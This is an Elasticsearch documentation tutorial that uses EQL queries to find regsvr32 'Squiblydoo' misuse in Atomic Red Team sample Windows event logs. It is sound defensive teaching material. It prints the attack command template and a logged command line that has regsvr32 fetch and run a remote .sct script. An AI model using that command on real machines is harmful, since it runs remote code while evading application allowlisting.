detect-threats-with-eql.asciidoc 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387
  1. [role="xpack"]
  2. [testenv="basic"]
  3. [[eql-ex-threat-detection]]
  4. == Example: Detect threats with EQL
  5. beta::[]
  6. This example tutorial shows how you can use EQL to detect security threats and
  7. other suspicious behavior. In the scenario, you're tasked with detecting
  8. https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows event
  9. logs.
  10. `regsvr32.exe` is a built-in command-line utility used to register `.dll`
  11. libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status,
  12. letting it bypass most allowlist software and script blockers.
  13. Attackers with access to a user's command line can use `regsvr32.exe` to run
  14. malicious scripts via `.dll` libraries, even on machines that otherwise
  15. disallow such scripts.
  16. One common variant of regsvr32 misuse is a
  17. https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
  18. Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
  19. register and run a remote script. These commands often look like this:
  20. [source,sh]
  21. ----
  22. "regsvr32.exe /s /u /i:<script-url> scrobj.dll"
  23. ----
  24. [discrete]
  25. [[eql-ex-threat-detection-setup]]
  26. === Setup
  27. This tutorial uses a test dataset from
  28. https://github.com/redcanaryco/atomic-red-team[Atomic Red Team] that includes
  29. events imitating a Squiblydoo attack. The data has been mapped to
  30. {ecs-ref}[Elastic Common Schema (ECS)] fields.
  31. To get started:
  32. . Download https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`].
  33. . Use the <<docs-bulk,bulk API>> to index the data:
  34. +
  35. [source,sh]
  36. ----
  37. curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  38. ----
  39. // NOTCONSOLE
  40. . Use the <<cat-indices,cat indices API>> to verify the data was indexed:
  41. +
  42. [source,console]
  43. ----
  44. GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
  45. ----
  46. // TEST[setup:atomic_red_regsvr32]
  47. +
  48. The response should show a `docs.count` of `150`.
  49. +
  50. [source,txt]
  51. ----
  52. health status index docs.count
  53. yellow open my-index-000001 150
  54. ----
  55. // TESTRESPONSE[non_json]
  56. [discrete]
  57. [[eql-ex-get-a-count-of-regsvr32-events]]
  58. === Get a count of regsvr32 events
  59. First, get a count of events associated with a `regsvr32.exe` process:
  60. [source,console]
  61. ----
  62. GET /my-index-000001/_eql/search?filter_path=-hits.events <1>
  63. {
  64. "query": """
  65. any where process.name == "regsvr32.exe" <2>
  66. """,
  67. "size": 200 <3>
  68. }
  69. ----
  70. // TEST[setup:atomic_red_regsvr32]
  71. <1> `?filter_path=-hits.events` excludes the `hits.events` property from the
  72. response. This search is only intended to get an event count, not a list of
  73. matching events.
  74. <2> Matches any event with a `process.name` of `regsvr32.exe`.
  75. <3> Returns up to 200 hits for matching events.
  76. The response returns 143 related events.
  77. [source,console-result]
  78. ----
  79. {
  80. "is_partial": false,
  81. "is_running": false,
  82. "took": 60,
  83. "timed_out": false,
  84. "hits": {
  85. "total": {
  86. "value": 143,
  87. "relation": "eq"
  88. }
  89. }
  90. }
  91. ----
  92. // TESTRESPONSE[s/"took": 60/"took": $body.took/]
  93. [discrete]
  94. [[eql-ex-check-for-command-line-artifacts]]
  95. === Check for command line artifacts
  96. `regsvr32.exe` processes were associated with 143 events. But how was
  97. `regsvr32.exe` first called? And who called it? `regsvr32.exe` is a command-line
  98. utility. Narrow your results to processes where the command line was used:
  99. [source,console]
  100. ----
  101. GET /my-index-000001/_eql/search
  102. {
  103. "query": """
  104. process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  105. """
  106. }
  107. ----
  108. // TEST[setup:atomic_red_regsvr32]
  109. The query matches one event with an `event.type` of `creation`, indicating the
  110. start of a `regsvr32.exe` process. Based on the event's `process.command_line`
  111. value, `regsvr32.exe` used `scrobj.dll` to register a script, `RegSvr32.sct`.
  112. This fits the behavior of a Squiblydoo attack.
  113. [source,console-result]
  114. ----
  115. {
  116. "is_partial": false,
  117. "is_running": false,
  118. "took": 21,
  119. "timed_out": false,
  120. "hits": {
  121. "total": {
  122. "value": 1,
  123. "relation": "eq"
  124. },
  125. "events": [
  126. {
  127. "_index": "my-index-000001",
  128. "_id": "gl5MJXMBMk1dGnErnBW8",
  129. "_source": {
  130. "process": {
  131. "parent": {
  132. "name": "cmd.exe",
  133. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  134. "executable": "C:\\Windows\\System32\\cmd.exe"
  135. },
  136. "name": "regsvr32.exe",
  137. "pid": 2012,
  138. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  139. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  140. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  141. "ppid": 2652
  142. },
  143. "logon_id": 217055,
  144. "@timestamp": 131883573237130000,
  145. "event": {
  146. "category": "process",
  147. "type": "creation"
  148. },
  149. "user": {
  150. "full_name": "bob",
  151. "domain": "ART-DESKTOP",
  152. "id": "ART-DESKTOP\\bob"
  153. }
  154. }
  155. }
  156. ]
  157. }
  158. }
  159. ----
  160. // TESTRESPONSE[s/"took": 21/"took": $body.took/]
  161. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  162. [discrete]
  163. [[eql-ex-check-for-malicious-script-loads]]
  164. === Check for malicious script loads
  165. Check if `regsvr32.exe` later loads the `scrobj.dll` library:
  166. [source,console]
  167. ----
  168. GET /my-index-000001/_eql/search
  169. {
  170. "query": """
  171. library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  172. """
  173. }
  174. ----
  175. // TEST[setup:atomic_red_regsvr32]
  176. The query matches an event, confirming `scrobj.dll` was loaded.
  177. [source,console-result]
  178. ----
  179. {
  180. "is_partial": false,
  181. "is_running": false,
  182. "took": 5,
  183. "timed_out": false,
  184. "hits": {
  185. "total": {
  186. "value": 1,
  187. "relation": "eq"
  188. },
  189. "events": [
  190. {
  191. "_index": "my-index-000001",
  192. "_id": "ol5MJXMBMk1dGnErnBW8",
  193. "_source": {
  194. "process": {
  195. "name": "regsvr32.exe",
  196. "pid": 2012,
  197. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  198. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  199. },
  200. "@timestamp": 131883573237450016,
  201. "dll": {
  202. "path": "C:\\Windows\\System32\\scrobj.dll",
  203. "name": "scrobj.dll"
  204. },
  205. "event": {
  206. "category": "library"
  207. }
  208. }
  209. }
  210. ]
  211. }
  212. }
  213. ----
  214. // TESTRESPONSE[s/"took": 5/"took": $body.took/]
  215. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  216. [discrete]
  217. [[eql-ex-detemine-likelihood-of-success]]
  218. === Determine the likelihood of success
  219. In many cases, attackers use malicious scripts to connect to remote servers or
  220. download other files. Use an <<eql-sequences,EQL sequence query>> to check
  221. for the following series of events:
  222. . A `regsvr32.exe` process
  223. . A load of the `scrobj.dll` library by the same process
  224. . Any network event by the same process
  225. Based on the command line value seen in the previous response, you can expect to
  226. find a match. However, this query isn't designed for that specific command.
  227. Instead, it looks for a pattern of suspicious behavior that's generic enough to
  228. detect similar threats.
  229. [source,console]
  230. ----
  231. GET /my-index-000001/_eql/search
  232. {
  233. "query": """
  234. sequence by process.pid
  235. [process where process.name == "regsvr32.exe"]
  236. [library where dll.name == "scrobj.dll"]
  237. [network where true]
  238. """
  239. }
  240. ----
  241. // TEST[setup:atomic_red_regsvr32]
  242. The query matches a sequence, indicating the attack likely succeeded.
  243. [source,console-result]
  244. ----
  245. {
  246. "is_partial": false,
  247. "is_running": false,
  248. "took": 25,
  249. "timed_out": false,
  250. "hits": {
  251. "total": {
  252. "value": 1,
  253. "relation": "eq"
  254. },
  255. "sequences": [
  256. {
  257. "join_keys": [
  258. 2012
  259. ],
  260. "events": [
  261. {
  262. "_index": "my-index-000001",
  263. "_id": "gl5MJXMBMk1dGnErnBW8",
  264. "_source": {
  265. "process": {
  266. "parent": {
  267. "name": "cmd.exe",
  268. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  269. "executable": "C:\\Windows\\System32\\cmd.exe"
  270. },
  271. "name": "regsvr32.exe",
  272. "pid": 2012,
  273. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  274. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  275. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  276. "ppid": 2652
  277. },
  278. "logon_id": 217055,
  279. "@timestamp": 131883573237130000,
  280. "event": {
  281. "category": "process",
  282. "type": "creation"
  283. },
  284. "user": {
  285. "full_name": "bob",
  286. "domain": "ART-DESKTOP",
  287. "id": "ART-DESKTOP\\bob"
  288. }
  289. }
  290. },
  291. {
  292. "_index": "my-index-000001",
  293. "_id": "ol5MJXMBMk1dGnErnBW8",
  294. "_source": {
  295. "process": {
  296. "name": "regsvr32.exe",
  297. "pid": 2012,
  298. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  299. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  300. },
  301. "@timestamp": 131883573237450016,
  302. "dll": {
  303. "path": "C:\\Windows\\System32\\scrobj.dll",
  304. "name": "scrobj.dll"
  305. },
  306. "event": {
  307. "category": "library"
  308. }
  309. }
  310. },
  311. {
  312. "_index": "my-index-000001",
  313. "_id": "EF5MJXMBMk1dGnErnBa9",
  314. "_source": {
  315. "process": {
  316. "name": "regsvr32.exe",
  317. "pid": 2012,
  318. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  319. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  320. },
  321. "@timestamp": 131883573238680000,
  322. "destination": {
  323. "address": "151.101.48.133",
  324. "port": "443"
  325. },
  326. "source": {
  327. "address": "192.168.162.134",
  328. "port": "50505"
  329. },
  330. "event": {
  331. "category": "network"
  332. },
  333. "user": {
  334. "full_name": "bob",
  335. "domain": "ART-DESKTOP",
  336. "id": "ART-DESKTOP\\bob"
  337. },
  338. "network": {
  339. "protocol": "tcp",
  340. "direction": "outbound"
  341. }
  342. }
  343. }
  344. ]
  345. }
  346. ]
  347. }
  348. }
  349. ----
  350. // TESTRESPONSE[s/"took": 25/"took": $body.took/]
  351. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
  352. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
  353. // TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]